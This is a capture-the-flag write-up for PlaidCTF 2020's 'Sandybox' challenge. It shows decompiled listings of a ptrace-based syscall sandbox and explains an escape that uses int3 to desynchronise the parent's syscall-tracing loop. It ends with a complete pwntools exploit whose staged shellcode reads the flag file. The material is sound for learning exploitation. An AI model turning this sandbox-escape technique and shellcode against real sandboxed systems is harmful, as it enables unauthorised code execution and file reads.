A Plaid CTF Review: Sandybox

Sandybox

I tried to solve pwn challenges from past plaid ctf since this year’s plaid’23 pwn challenges were pretty hell. I believe one was rust pwn running as PE32+ executable (dunno how to debug), and another one (collector) is pretty much unsolvable alone.

So I chose Sandybox from plaid’20 to practice my sandbox/vm escape techniques.

Overview

The challenge emulates a sandbox using ptrace.

A few code snippets:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int forked; // eax
  int *v4; // rax
  char *v5; // rax
  int *v6; // rax
  char *v7; // rax
  __pid_t v9; // eax
  int *v10; // rax
  char *v11; // rax
  unsigned int child; // ebx
  int *v13; // rax
  char *v14; // rax
  unsigned int v15; // r15d
  __int64 i; // r15
  __int64 v17; // rcx
  __int64 v18; // rdx
  int v19; // edi
  char *v20; // rax
  int v21; // edi
  char *v22; // rax
  int *v23; // rax
  char *v24; // rax
  int v25; // edi
  char *v26; // rax
  int *v27; // rax
  char *v28; // rax
  int stat_loc; // [rsp+0h] [rbp-11Ch] BYREF
  _QWORD regs[7]; // [rsp+4h] [rbp-118h] BYREF
  __int64 v31; // [rsp+3Ch] [rbp-E0h]
  __int64 v32; // [rsp+64h] [rbp-B8h]
  __int64 v33; // [rsp+6Ch] [rbp-B0h]
  __int64 v34; // [rsp+74h] [rbp-A8h]
  __int64 v35; // [rsp+7Ch] [rbp-A0h]
  __int64 v36; // [rsp+9Ch] [rbp-80h]
  unsigned __int64 v37; // [rsp+DCh] [rbp-40h]

  alarm(0xAu);
  __dprintf_chk(1LL, 1LL, "o hai\n");
  if ( access("./flag", 4) )
  {
    v6 = __errno_location();
    v7 = strerror(*v6);
    __dprintf_chk(1LL, 1LL, "flag access fail %s\n", v7);
    return 1LL;
  }
  forked = fork();
  if ( forked < 0 )
  {
    v10 = __errno_location();
    v11 = strerror(*v10);
    __dprintf_chk(1LL, 1LL, "fork fail %s\n", v11);
    return 1LL;
  }
  if ( !forked )
  {
    prctl('\x01', 9LL);
    if ( getppid() != 1 )
    {
      if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
      {
        v4 = __errno_location();
        v5 = strerror(*v4);
        __dprintf_chk(1LL, 1LL, "child traceme %s\n", v5);
        _exit(1);
      }
      v9 = getpid();
      kill(v9, 19);
      run_shell();
      _exit(0);
    }
    __dprintf_chk(1LL, 1LL, "child is orphaned\n");
    _exit(1);
  }
  child = forked;
  v37 = __readfsqword(0x28u);
  if ( waitpid(forked, &stat_loc, 0x40000000) < 0 || stat_loc != 127 || BYTE1(stat_loc) != 19 )
  {
    v13 = __errno_location();
    v14 = strerror(*v13);
    __dprintf_chk(1LL, 1LL, "initial waitpid fail 0x%x %s\n", stat_loc, v14);
    return 1LL;
  }
  v15 = 0;
  alarm(0x1Eu);
  ptrace(PTRACE_SETOPTIONS, child, 0LL, 0x100000LL);
  while ( 1 )
  {
    while ( 1 )
    {
      if ( ptrace(PTRACE_SYSCALL, child, 0LL, v15) )// PTRACE_SYSCALL to wait for syscall entry
      {
        v21 = *__errno_location();
        if ( v21 != 10 )
        {
          v22 = strerror(v21);
          __dprintf_chk(1LL, 1LL, "ptrace syscall1 %s\n", v22);
          goto LABEL_39;
        }
        return 0LL;
      }
      if ( waitpid(child, &stat_loc, 0x40000000) < 0 )// wait
        goto LABEL_34;
      if ( stat_loc != 127 )
      {
        __dprintf_chk(1LL, 1LL, "so long, sucker 0x%x\n");
        return 0LL;
      }
      v15 = BYTE1(stat_loc);
      if ( BYTE1(stat_loc) == 5 )
        break;
      __dprintf_chk(2LL, 1LL, "child signal %d\n", BYTE1(stat_loc));
    }
    if ( ptrace(PTRACE_GETREGS, child, 0LL, regs) )// get reg
    {
      v23 = __errno_location();
      v24 = strerror(*v23);
      __dprintf_chk(1LL, 1LL, "ptrace getregs %s\n", v24);
      goto LABEL_39;
    }
    if ( !check_syscall(child, regs) )          // inspect registers
    {
      __dprintf_chk(2LL, 1LL, "allowed syscall %lld(%lld, %lld, %lld, %lld)\n", v35, v34, v33, v32, v31);
      goto LABEL_26;
    }
    __dprintf_chk(2LL, 1LL, "blocked syscall %lld\n", v35);
    v35 = 1LL;
    v34 = 1LL;
    v32 = 17LL;
    v33 = v36;
    if ( ptrace(PTRACE_SETREGS, child, 0LL, regs) )
      break;
    for ( i = 0LL; i != 24; i += 8LL )
    {
      v17 = *&aGetClappedSonn[i];
      v18 = i + v36;
      ptrace(PTRACE_POKEDATA, child, v18, v17);
    }
LABEL_26:
    if ( ptrace(PTRACE_SYSCALL, child, 0LL, 0LL) )// PTRACE_SYSCALL: wait for syscall exit
    {
      v25 = *__errno_location();
      if ( v25 != 10 )
      {
        v26 = strerror(v25);
        __dprintf_chk(1LL, 1LL, "ptrace syscall2 %s\n", v26);
        goto LABEL_39;
      }
      return 0LL;
    }
    if ( waitpid(child, &stat_loc, 0x40000000) < 0 )
    {
LABEL_34:
      v19 = *__errno_location();
      if ( v19 != 10 )
      {
        v20 = strerror(v19);
        __dprintf_chk(1LL, 1LL, "waitpid fail %s\n", v20);
        return 1LL;
      }
      return 0LL;
    }
    if ( stat_loc != 127 )
    {
      __dprintf_chk(1LL, 1LL, "so long, sucker. 0x%x\n");
      return 0LL;
    }
    v15 = 0;
  }
  v27 = __errno_location();
  v28 = strerror(*v27);
  __dprintf_chk(1LL, 1LL, "ptrace setregs %s\n", v28);
LABEL_39:
  kill(child, 9);
  return 1LL;
}
__int64 run_shell()
{
  void (*code)(void); // r12
  void (*ptr)(void); // rbx

  syscall(37LL, 20LL);                          // alarm
  code = mmap(0LL, 0xAuLL, 7, 34, -1, 0LL);
  ptr = code;
  __dprintf_chk(1LL, 1LL, "> ");
  do
  {
    if ( read(0, ptr, 1uLL) != 1 )
      _exit(0);
    ptr = (ptr + 1);
  }
  while ( ptr != (code + 10) );                 // max 10 bytes
  code();
  return 0LL;
}
_BOOL8 __fastcall check_syscall(unsigned int a1, _QWORD *reg)
{
  unsigned __int64 syscall; // rax
  __int64 v4; // rdx
  __int64 v5; // r12
  __int64 v6; // rax
  __int128 v7; // [rsp+0h] [rbp-38h] BYREF
  char v8; // [rsp+10h] [rbp-28h]
  unsigned __int64 v9; // [rsp+18h] [rbp-20h]

  v9 = __readfsqword(0x28u);
  syscall = reg[15];
  if ( syscall != 8 )
  {
    if ( syscall > 8 )
    {
      if ( syscall == 37 )
        return (reg[14] - 1LL) > 0x13;
      if ( syscall <= 0x25 )
      {
        if ( syscall <= 0xB )
          return reg[13] > 0x1000uLL;
        return 1LL;
      }
      return syscall != 60 && syscall != 231 && syscall != 39;
    }
    if ( syscall == 2 )
    {
      if ( !reg[13] )
      {
        v4 = reg[14];
        v8 = 0;
        v7 = 0LL;
        v5 = ptrace(PTRACE_PEEKDATA, a1, v4, 0LL);
        v6 = ptrace(PTRACE_PEEKDATA, a1, reg[14] + 8LL, 0LL);
        if ( v5 != -1 && v6 != -1 )
        {
          *&v7 = v5;
          *(&v7 + 1) = v6;
          if ( strlen(&v7) <= 0xF && !strstr(&v7, "flag") && !strstr(&v7, "proc") )
            return strstr(&v7, "sys") != 0LL;
        }
      }
      return 1LL;
    }
    if ( syscall >= 2 && syscall != 3 && syscall != 5 )
      return 1LL;
  }
  return 0LL;
}

For those only curious about the technique like myself, the summarized codeflow is as follows:

while (1) {
    // wait for a syscall exit
    ptrace(PTRACE_SYSCALL, child_pid, 0);
    waitpid(child_pid, &status, __WALL);
    
    ptrace(PTRACE_GETREGS, child_pid, 0, regs);
    if (check_syscall(child_pid, regs)) {
        // ALLOW SYSCALL
    } else {
        // BLOCK SYSCALL
    }

    // wait for a syscall entry
    ptrace(PTRACE_SYSCALL, child_pid, 0, 0);
    waitpid(child_pid, &status, __WALL);
}

got this from here.

So basically the challenge will spawn a child process, monitor it using ptrace, checks for valid registers whenever the child invokes a syscall, and invoke only allowed ones.

Approach

I believe there are a few solutions for this challenge, the one I used was to confuse the infinite while loop.

Now, while calls ptrace at the beginning and at the end. We can attack this by invoking an interrupt using int3 to wake the parent making it think that a syscall has been invoked, but actually it hasn’t. Since int3 wouldn’t exit, the loop will be inverted.

So the overall exploit looks like:

Exploit

#!/usr/bin/python3
from pwn import *

context.arch='amd64'
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
ru 		= lambda a: 	p.readuntil(a)
r 		= lambda n:		p.read(n)
sla 	= lambda a,b: 	p.sendlineafter(a,b)
sa 		= lambda a,b: 	p.sendafter(a,b)
sl		= lambda a: 	p.sendline(a)
s 		= lambda a: 	p.send(a)
e = context.binary = ELF("./sandybox")
p=process([e.path])
# gdb.attach(p)

# 10 bytes max
shellcode = asm('''
push 1000
pop rdx
xor eax, eax
syscall
''', arch='amd64') # syscall read to read 1024 bytes of shellcode

print(len(shellcode)) # debug
assert(len(shellcode)==10)
# gdb.attach(p)

shellcode += asm('''
nop
nop
nop
nop
nop
nop
nop
mov rax, 8
int3
''', arch='amd64') # wake parent, confuse loop

shellcode += asm(shellcraft.amd64.cat('flag'), arch='amd64')

# info(str(len(shellcode)))
context.log_level='debug'

p.send(shellcode)

p.recvall()

Thanks,

079